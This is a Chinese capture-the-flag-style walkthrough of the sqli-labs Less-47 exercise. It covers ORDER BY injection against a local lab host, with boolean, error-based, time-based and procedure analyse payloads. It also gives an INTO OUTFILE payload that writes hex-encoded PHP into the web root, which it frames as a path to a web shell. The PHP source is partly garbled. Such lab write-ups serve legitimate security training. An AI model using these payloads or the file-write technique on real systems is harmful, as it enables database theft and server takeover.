sqli-labs————Less-47(procedure alalyse\lines terminated by利用)

Less-47

sqli-labs————Less-47(procedure alalyse\lines terminated by利用)_第1张图片

源代码:





ORDER BY Clause-Error-Single quote



Welcome    Dhakkan
'; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; } echo "
 ID   USERNAME   PASSWORD 
".$row['id']."".$row['username']."".$row['password']."
"; } else { echo ''; print_r(mysql_error()); echo ""; } } else { echo "Please input parameter as SORT with numeric value



"; echo "


"; echo '
'; echo "Lesson Concept and code Idea by D4rk"; } ?>



SQL执行语句:

	$sql = "SELECT * FROM users ORDER BY '$id'";

与上一关不同的是这里的id变为了字符型,但是我们还是可以进行注入,按照注入的位置分类如下:

1、order by 后参数

我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。

① and rand相结合的方式
payload:

http://192.168.11.136/sqli-labs/Less-47?sort=1'and rand(ascii(left(database(),1))=115)--+

sqli-labs————Less-47(procedure alalyse\lines terminated by利用)_第2张图片

换成116之后:

http://192.168.11.136/sqli-labs/Less-47?sort=1'and rand(ascii(left(database(),1))=116)--+

sqli-labs————Less-47(procedure alalyse\lines terminated by利用)_第3张图片

此处后期经过测试,还是存在问题的,我们不能使用这种方式进行准确的注入。此处留下只是一个示例。

②可以利用报错的方式进行

http://192.168.11.136/sqli-labs/Less-47?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+
sqli-labs————Less-47(procedure alalyse\lines terminated by利用)_第4张图片

可以看到user()的内容,同时可以构造其他的语句进行注入。

这里再放一个报错注入,原理和上面的payload是一样的,都是利用的mysql重复项的原理。

http://192.168.11.136/sqli-labs/Less-47?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

sqli-labs————Less-47(procedure alalyse\lines terminated by利用)_第5张图片

此处爆出了version()即版本号信息。

③延时注入

http://192.168.11.136/sqli-labs/Less-47?sort=1'and If(ascii(substr(database(),1,1))=115,0,sleep(5))--+

sqli-labs————Less-47(procedure alalyse\lines terminated by利用)_第6张图片

这里因database()为security,所以第一个字母的s的ascii为115,此处直接显示,当改为116或者其他的数字的时候,就要延时了,我们这里就不贴图展示了,可以通过脚本爆破。

(2)procedure analyse参数后注入

利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

以下为示范例

http://192.168.11.136/sqli-labs/Less-47?sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

sqli-labs————Less-47(procedure alalyse\lines terminated by利用)_第7张图片

2、导入导出文件into outfile参数
http://192.168.11.136/sqli-labs/Less-47?sort=1'into outfile 'C:\\phpstudy\\WWW\\sqli-labs\\Less-47\\test.php'--+

sqli-labs————Less-47(procedure alalyse\lines terminated by利用)_第8张图片


那这个时候我们可以考虑上传网马,利用lines terminated by。

http://192.168.11.136/sqli-labs/Less-47?sort=1'into outfile 'C:\\phpstudy\\WWW\\sqli-labs\\Less-47\\test1.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+

sqli-labs————Less-47(procedure alalyse\lines terminated by利用)_第9张图片

此处的16进制文件为

我们访问test1.php

sqli-labs————Less-47(procedure alalyse\lines terminated by利用)_第10张图片


你可能感兴趣的:(【信息安全】,【渗透测试实战1】,———Sqli-labs实战)